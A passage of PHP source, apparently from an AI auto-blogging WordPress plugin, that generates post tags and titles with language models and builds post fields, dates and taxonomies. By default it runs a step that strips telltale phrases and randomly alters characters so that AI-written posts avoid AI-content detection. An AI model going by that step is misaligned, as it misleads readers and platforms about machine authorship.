!= '' ? $item_tags . ',' : '') . $title_tags; $my_post['extra_tags'] = ($item_tags != '' ? $item_tags . ',' : '') . $title_tags; } else if ($can_create_tag == 'ai') { $ai_tags = ''; $tag_ai_command = $orig_ai_command_tag; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $tag_ai_command = preg_split('/\r\n|\r|\n/', $tag_ai_command); $tag_ai_command = array_filter($tag_ai_command); if(count($tag_ai_command) > 0) { $tag_ai_command = $tag_ai_command[array_rand($tag_ai_command)]; } else { $tag_ai_command = ''; } } $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command); if(!empty($tag_ai_command)) { $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $tag_ai_command = aiomatic_replacetopics($tag_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } else { $tag_ai_command = trim(strip_tags('Write a comma separated list of tags, for the post title: %%post_title%%')); } $tag_ai_command = trim($tag_ai_command); if (filter_var($tag_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($tag_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($tag_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $tag_ai_command = $txt_content; $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command); $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $tag_ai_command = aiomatic_replacetopics($tag_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } } } } if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API post tag seed expression provided!'); } else { if(strlen($tag_ai_command) > $max_seed_tokens * 4) { $tag_ai_command = aiomatic_substr($tag_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $tag_ai_command = trim($tag_ai_command); if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API tag seed expression provided! ' . print_r($tag_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($tag_ai_command)); $available_tokens = aiomatic_compute_available_tokens($tag_model, $max_tokens, $tag_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($tag_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $tag_ai_command = aiomatic_substr($tag_ai_command, 0, $string_len); $tag_ai_command = trim($tag_ai_command); if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($tag_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($tag_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $tag_ai_command = $global_prepend . ' ' . $tag_ai_command; } if(!empty($global_append)) { $tag_ai_command = $tag_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $tag_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $tag_model . ') for tag generator: ' . $tag_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags')); $generated_text = aiomatic_generate_text($token, $tag_model, $tag_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Tag generator error: ' . $aierror); break; } else { $ai_tags = $generated_text; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $tag_model); aiomatic_log_to_file('Successfully got API tag result from ' . $api_service . ': ' . $generated_text); } } $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $ai_tags; $my_post['extra_tags'] = $ai_tags; } else { $post_the_tags = $item_create_tag_sp; $my_post['extra_tags'] = ''; } $my_post['tags_input'] = $post_the_tags; $new_post_content = html_entity_decode($new_post_content); $new_post_content = str_replace('', '', $new_post_content); if ($strip_by_regex !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $new_post_content); if($temp_cont !== NULL) { $new_post_content = $temp_cont; } } } $post_prepender = replaceAIPostShortcodes($post_prepend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $post_prepender = aiomatic_replacetopics($post_prepender, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $post_appender = replaceAIPostShortcodes($post_append, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $post_appender = aiomatic_replacetopics($post_appender, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $post_appender = aiomatic_replaceSynergyShortcodes($post_appender); $post_prepender = aiomatic_replaceSynergyShortcodes($post_prepender); if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on') { $new_post_content = nl2br($new_post_content); } if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') { $new_post_content = aiomatic_remove_parasite_phrases($new_post_content); if(!isset($xchars)) { $xchars = array(); } $rand_percentage = rand(10, 30); $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage); } $zlang = 'en_US'; if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) { $zlang = $aiomatic_Main_Settings['kw_lang']; } $rel_search = array('post_title', 'post_content'); if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) { $rel_search = $aiomatic_Main_Settings['rel_search']; } if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled') { try { $new_post_content = $inboundlinker->add_inbound_links($new_post_content, $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow); } catch(Exception $ex) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to add new inbound links to content: ' . $ex->getMessage()); } } } if($ret_content == 1) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Returning AI generated content, finished.'); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing')); return array($post_prepender . ' ' . $new_post_content . ' ' . $post_appender, $new_post_title); } $the_final_cont = $post_prepender . ' ' . $new_post_content . ' ' . $post_appender; $my_post['post_content'] = $the_final_cont; if(stristr($my_post['post_content'], '
            <') !== false)
                                    {
                                        if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                        {
                                            $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                        }
                                    }
                                    $my_post['post_title']           = $new_post_title;
                                    $my_post['aiomatic_source_title']   = $post_title;
                                    $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                    $my_post['aiomatic_post_format'] = $post_format;
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') 
                                    {
                                        if(is_array($default_category))
                                        {
                                            $cextra = '';
                                            foreach($default_category as $dc)
                                            {
                                                $cextra .= ',' . get_cat_name($dc);
                                            }
                                            $extra_categories_temp = trim( $cextra . ',' . $extra_categories, ',');
                                        }
                                        else
                                        {
                                            $extra_categories_temp = trim(get_cat_name($default_category) . ',' .$extra_categories, ',');
                                        }
                                    }
                                    else
                                    {
                                        $extra_categories_temp = $extra_categories;
                                    }
                                    $block_arr = array();
                                    $custom_arr = array();
                                    if($custom_fields != '')
                                    {
                                        if(stristr($custom_fields, '=>') != false)
                                        {
                                            $rule_arr = explode(',', trim($custom_fields));
                                            foreach($rule_arr as $rule)
                                            {
                                                $my_args = explode('=>', trim($rule));
                                                if(isset($my_args[1]))
                                                {
                                                    $my_args[1] = do_shortcode($my_args[1]);
                                                    $my_args[0] = do_shortcode($my_args[0]);
                                                    $custom_field_content = trim($my_args[1]);
                                                    $custom_field_content = replaceAIPostShortcodes($custom_field_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $custom_field_content = aiomatic_replacetopics($custom_field_content, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                    $custom_field_content = aiomatic_replaceSynergyShortcodes($custom_field_content);
                                                    $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                    $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                    if(stristr($my_args[1], 'serialize_') !== false)
                                                    {
                                                        $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                    }
                                                    else
                                                    {
                                                        if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                        {
                                                            preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                            if(isset($cfm[2][0]))
                                                            {
                                                                if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                                {
                                                                    $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                                }
                                                                else
                                                                {
                                                                    $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                                }
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $extra_categories_temp, 'aiomatic_post_tags' => $post_the_tags));
                                    $custom_tax_arr = array();
                                    if($custom_tax != '')
                                    {
                                        if(stristr($custom_tax, '=>') != false)
                                        {
                                            $rule_arr = explode(';', trim($custom_tax));
                                            foreach($rule_arr as $rule)
                                            {
                                                $my_args = explode('=>', trim($rule));
                                                if(isset($my_args[1]))
                                                {
                                                    $custom_tax_content = trim($my_args[1]);
                                                    $custom_tax_content = replaceAIPostShortcodes($custom_tax_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $custom_tax_content = aiomatic_replacetopics($custom_tax_content, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                    $custom_tax_content = aiomatic_replaceSynergyShortcodes($custom_tax_content);
                                                    $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                    $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                    if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                    {
                                                        if(isset($custom_arr['_product_attributes']))
                                                        {
                                                            $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                                'name' => trim($my_args[0]),
                                                                'value' => $custom_tax_content,
                                                                'is_visible' => '1',
                                                                'is_taxonomy' => '1'
                                                            )));
                                                        }
                                                        else
                                                        {
                                                            $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                                'name' => trim($my_args[0]),
                                                                'value' => $custom_tax_content,
                                                                'is_visible' => '1',
                                                                'is_taxonomy' => '1'
                                                            ));
                                                        }
                                                    }
                                                    if(isset($custom_tax_arr[trim($my_args[0])]))
                                                    {
                                                        $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                    }
                                                    else
                                                    {
                                                        $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if(count($custom_tax_arr) > 0)
                                    {
                                        $my_post['taxo_input'] = $custom_tax_arr;
                                    }
                                    $my_post['meta_input'] = $custom_arr;
                                    if($parent_id != '')
                                    {
                                        $my_post['post_parent'] = intval($parent_id);
                                    }
                                    if ($enable_pingback == '1') {
                                        $my_post['ping_status'] = 'open';
                                    } else {
                                        $my_post['ping_status'] = 'closed';
                                    }
                                    if($min_time != '' && $max_time != '')
                                    {
                                        $t1 = strtotime($min_time);
                                        $t2 = strtotime($max_time);
                                        if($t1 != false && $t2 != false)
                                        {
                                            $int = rand($t1, $t2);
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                        }
                                    }
                                    elseif($min_time != '')
                                    {
                                        $t1 = strtotime($min_time);
                                        if($t1 != false)
                                        {
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                        }
                                    }
                                    elseif($max_time != '')
                                    {
                                        $t1 = strtotime($max_time);
                                        if($t1 != false)
                                        {
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                        }
                                    }
                                    if($new_post_excerpt != '')
                                    {
                                        $my_post['post_excerpt']          = $new_post_excerpt;
                                    }
                                    $count++;
                                }
                                elseif($posting_mode == 'title')
                                {
                                    $headings_arr_copy = $headings_arr;
                                    $added_img_list = array();
                                    $raw_img_list = array();
                                    $full_result_list = array();
                                    $added_images = 0;
                                    $heading_results = array();
                                    if(count($post_title_lines) == 0)
                                    {
                                        break;
                                    }
                                    if ($count > intval($max)) {
                                        break;
                                    }
                                    if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                    {
                                        $current_index = array_rand($post_title_lines);
                                    }
                                    else
                                    {
                                        $current_index = array_key_first($post_title_lines);
                                    }
                                    $post_title = trim($post_title_lines[$current_index]);
                                    $ptlprocessed = explode('!###!', $post_title);
                                    if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                    {
                                        $post_title = $ptlprocessed[0];
                                        $post_title_keywords = $ptlprocessed[1];
                                    }
                                    if(isset($rss_feeds[$post_title]))
                                    {
                                        $post_link = $rss_feeds[$post_title]['url'];
                                        $user_name = $rss_feeds[$post_title]['author'];
                                        $post_cats = $rss_feeds[$post_title]['cats'];
                                        $post_excerpt = $rss_feeds[$post_title]['excerpt'];
                                        $final_content = $rss_feeds[$post_title]['content'];
                                    }
                                    $tprepp = $spintax->Parse($post_title);
                                    if($tprepp != false && $tprepp != '')
                                    {
                                        $post_title = $tprepp;
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        aiomatic_log_to_file('Starting processing post title: ' . $post_title);
                                    }
                                    $old_title = $post_title;
                                    $already_spinned = 0;
                                    if (filter_var($post_title, FILTER_VALIDATE_URL) === false && stristr($post_title, '%%ai_generated_title%%') === false)
                                    {
                                        unset($post_title_lines[$current_index]);
                                    }
                                    $allmodels = aiomatic_get_all_models();
                                    $custom_shortcodes_arr = preg_split('/\r\n|\r|\n/', $custom_shortcodes);
                                    foreach($custom_shortcodes_arr as $my_short)
                                    {
                                        $name_part = explode('=>', $my_short);
                                        if(isset($name_part[1]) && !empty(trim($name_part[1])))
                                        {
                                            $shortname = trim($name_part[0]);
                                            if(strstr($post_title, '%%' . $shortname . '%%'))
                                            {
                                                $shortval = '';
                                                $ai_part = explode('@@', $name_part[1]);
                                                if(isset($ai_part[1]) && !empty(trim($ai_part[1])))
                                                {
                                                    if(!in_array(trim($ai_part[0]), $allmodels))
                                                    {
                                                        $aimodel = get_default_model_name($aiomatic_Main_Settings);
                                                    }
                                                    else
                                                    {
                                                        $aimodel = trim($ai_part[0]);
                                                    }
                                                    $zai_command = trim($ai_part[1]);
                                                    $zmax_tokens = aiomatic_get_max_tokens($aimodel);
                                                    $zquery_token_count = count(aiomatic_encode($zai_command));
                                                    $zavailable_tokens = aiomatic_compute_available_tokens($aimodel, $zmax_tokens, $zai_command, $zquery_token_count);
                                                    if($zavailable_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                    {
                                                        $string_len = strlen($zai_command);
                                                        $string_len = $string_len / 2;
                                                        $string_len = intval(0 - $string_len);
                                                        $zai_command = aiomatic_substr($zai_command, 0, $string_len);
                                                        $zai_command = trim($zai_command);
                                                        $zquery_token_count = count(aiomatic_encode($zai_command));
                                                        $zavailable_tokens = $zmax_tokens - $zquery_token_count;
                                                    }
                                                    $aierror = '';
                                                    $finish_reason = '';
                                                    $ztemperature = 1;
                                                    $ztop_p = 1;
                                                    $zpresence_penalty = 0;
                                                    $zfrequency_penalty = 0;
                                                    if(!empty($global_prepend))
                                                    {
                                                        $zai_command = $global_prepend . ' ' . $zai_command;
                                                    }
                                                    if(!empty($global_append))
                                                    {
                                                        $zai_command = $zai_command . ' ' . $global_append;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $aimodel);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $aimodel . ') for custom shortcode text: ' . $zai_command);
                                                    }
                                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating title based shortcodes'));
                                                    $generated_text = aiomatic_generate_text($token, $aimodel, $zai_command, $zavailable_tokens, $ztemperature, $ztop_p, $zpresence_penalty, $zfrequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                    if($generated_text === false)
                                                    {
                                                        aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror);
                                                    }
                                                    else
                                                    {
                                                        $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                    }
                                                }
                                                $post_title = str_replace('%%' . $shortname . '%%', $shortval, $post_title);
                                            }
                                        }
                                    } 
                                    if(stristr($post_title, '%%ai_generated_title%%') !== false || $title_source == 'ai')
                                    {
                                        if($orig_ai_command_title == '')
                                        {
                                            $orig_ai_command_title = $post_title;
                                        }
                                        if($orig_ai_command_title != '')
                                        {
                                            $title_ai_command = $orig_ai_command_title;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                $title_ai_command = array_filter($title_ai_command);
                                                if(count($title_ai_command) > 0)
                                                {
                                                    $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                }
                                                else
                                                {
                                                    $title_ai_command = '';
                                                }
                                            }
                                            $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                            if(!empty($title_ai_command))
                                            {
                                                $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $title_ai_command = trim(strip_tags($post_title));
                                            }
                                            $title_ai_command = trim($title_ai_command);
                                            if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($title_ai_command);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $title_ai_command = $txt_content;
                                                            $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                            $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($title_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API post title seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                {
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API title seed expression provided(2)! ' . print_r($title_ai_command, true));
                                                    break;
                                                }
                                                $query_token_count = count(aiomatic_encode($title_ai_command));
                                                $available_tokens = aiomatic_compute_available_tokens($title_model, $max_tokens, $title_ai_command, $query_token_count);
                                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($title_ai_command);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                    $title_ai_command = trim($title_ai_command);
                                                    if(empty($title_ai_command))
                                                    {
                                                        aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($title_ai_command, true));
                                                        break;
                                                    }
                                                    $query_token_count = count(aiomatic_encode($title_ai_command));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                if(!empty($global_prepend))
                                                {
                                                    $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                }
                                                if(!empty($global_append))
                                                {
                                                    $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $title_model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $title_model . ') for title text: ' . $title_ai_command);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating title'));
                                                $generated_text = aiomatic_generate_text($token, $title_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'titleID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Title generator error: ' . $aierror);
                                                    break;
                                                }
                                                else
                                                {
                                                    $ai_title = ucfirst(trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')));
                                                    if($title_source == 'ai')
                                                    {
                                                        $old_title = $post_title;
                                                        $post_title = $ai_title;
                                                    }
                                                    else
                                                    {
                                                        $post_title = str_ireplace('%%ai_generated_title%%', $ai_title, $post_title);
                                                    }
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $title_model);
                                                    aiomatic_log_to_file('Successfully got API title result from ' . $api_service . ': ' . $post_title);
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI title query entered.');
                                        }
                                    }
                                    else
                                    {
                                        $post_title = aiomatic_replaceSynergyShortcodes($post_title);
                                    }
                                    $post_title = apply_filters('aiomatic_replace_aicontent_shortcode', $post_title);
                                    if(empty($post_title))
                                    {
                                        continue;
                                    }
                                    if (strpos($post_title, '%%') === false)
                                    {
                                        if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                        {
                                            $xposts = get_posts(
                                                array(
                                                    'post_type'              => $post_type,
                                                    'title'                  => html_entity_decode($post_title),
                                                    'post_status'            => 'all',
                                                    'numberposts'            => 1,
                                                    'update_post_term_cache' => false,
                                                    'update_post_meta_cache' => false,           
                                                    'orderby'                => 'post_date ID',
                                                    'order'                  => 'ASC',
                                                )
                                            );
                                            if ( ! empty( $xposts ) ) {
                                                $zap = $xposts[0];
                                            } else {
                                                $zap = null;
                                            }
                                            if($zap !== null)
                                            {
                                                if($overwrite_existing)
                                                {
                                                    $update_post_id = $zap->ID;
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Post with specified title is already existing, skipping it: ' . $post_title);
                                                    unset($post_title_lines[$current_index]);
                                                    continue;
                                                }
                                            }
                                        }
                                        $new_post_title = $post_title;
                                    }
                                    else
                                    {
                                        $new_post_title = $post_title;
                                        $new_post_title = aiomatic_replaceContentShortcodes($new_post_title, $img_attr, $ai_command);
                                        if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                        {
                                            $xposts = get_posts(
                                                array(
                                                    'post_type'              => $post_type,
                                                    'title'                  => html_entity_decode($new_post_title),
                                                    'post_status'            => 'all',
                                                    'numberposts'            => 1,
                                                    'update_post_term_cache' => false,
                                                    'update_post_meta_cache' => false,           
                                                    'orderby'                => 'post_date ID',
                                                    'order'                  => 'ASC',
                                                )
                                            );
                                            if ( ! empty( $xposts ) ) {
                                                $zap = $xposts[0];
                                            } else {
                                                $zap = null;
                                            }
                                            if($zap !== null)
                                            {
                                                if($overwrite_existing)
                                                {
                                                    $update_post_id = $zap->ID;
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Post with specified title already published, skipping it: ' . $new_post_title);
                                                    unset($post_title_lines[$current_index]);
                                                    continue;
                                                }
                                            }
                                        }
                                    }
                                    $get_img = '';
                                    if($royalty_free == '1')
                                    {
                                        if($enable_ai_images == '1')
                                        {
                                            $query_words = $post_title;
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 400)
                                                    {
